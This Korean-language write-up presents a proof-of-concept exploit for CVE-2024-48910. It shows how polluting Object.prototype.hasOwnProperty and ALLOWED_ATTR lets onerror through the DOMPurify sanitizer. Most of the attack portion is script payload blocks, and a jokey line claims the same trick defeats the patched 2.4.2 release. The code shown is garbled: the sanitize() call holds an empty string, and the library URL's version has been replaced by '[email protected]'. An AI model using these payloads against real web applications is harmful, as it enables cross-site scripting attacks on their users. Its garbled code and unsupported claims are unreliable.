
CVE-2024-48910에 대한 개념 증명 익스플로잇으로, 조작된 HTML 속성을 통해 임의의 JavaScript를 실행하기 위해 DOMPurify XSS 삭제자의 프로토타입 오염 우회를 시연합니다.
CVE-2024-48910 DOMPurify는 HTML, MathML 및 SVG를 위한 DOM 전용, 초고속, 관용적인 XSS 살균기로, 프로토타입 오염(CVE-2024-48910)에 취약한 것으로 밝혀졌습니다. 이 취약점은 버전 2.4.2에서 발견 및 수정되었으며, 최초 공개는 2024년 10월 31일에 이루어졌습니다.
DOMPurify의 프로토타입 오염 취약점으로 인해 공격자가 객체 프로토타입 속성을 조작할 수 있으며, 이는 보안 우회 및 애플리케이션 동작의 무단 변경으로 이어질 수 있습니다. 높은 CVSS 점수는 시스템 보안에 상당한 잠재적 영향을 미치며, 특히 데이터 기밀성과 무결성에 영향을 줍니다.
이 취약점에는 CVSS v3.1 기본 점수 9.1(CRITICAL)이 할당되었으며, 벡터 문자열은 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N입니다. 이는 취약점이 낮은 공격 복잡성으로 원격에서 악용될 수 있고, 권한이나 사용자 상호 작용이 필요하지 않으며, 가용성에는 영향을 미치지 않지만 기밀성과 무결성에 높은 영향을 미칠 수 있음을 나타냅니다.
변경 로그에서 .__proto__.를 포함하는 테스트 케이스가 추가된 것을 볼 수 있으며, 이는 프로토타입 주입임을 시사합니다.

추가된 다음 줄은, 이전에는 truthy인 모든 것에 대해 true로 평가되었음을 의미합니다.

hasOwnProperty를 오염시켜 Object를 반환하도록 만듦ALLOWED_ATTR를 ["src", "onerror"]로 오염시킴clone() 함수를 사용하여 구성을 복제함hasOwnProperty 검사가 통과됨(Object가 truthy이므로)XSS 보호가 우회됨 - onerror가 이제 "허용됨"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
2.4.2로 업그레이드했음에도 불구하고 여전히 alert()가 나타나게 할 수 있습니다... Object.prototype.hasOwnProperty = () => true;로 설정하기만 하면 보호 조치를 우회할 수 있습니다 LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>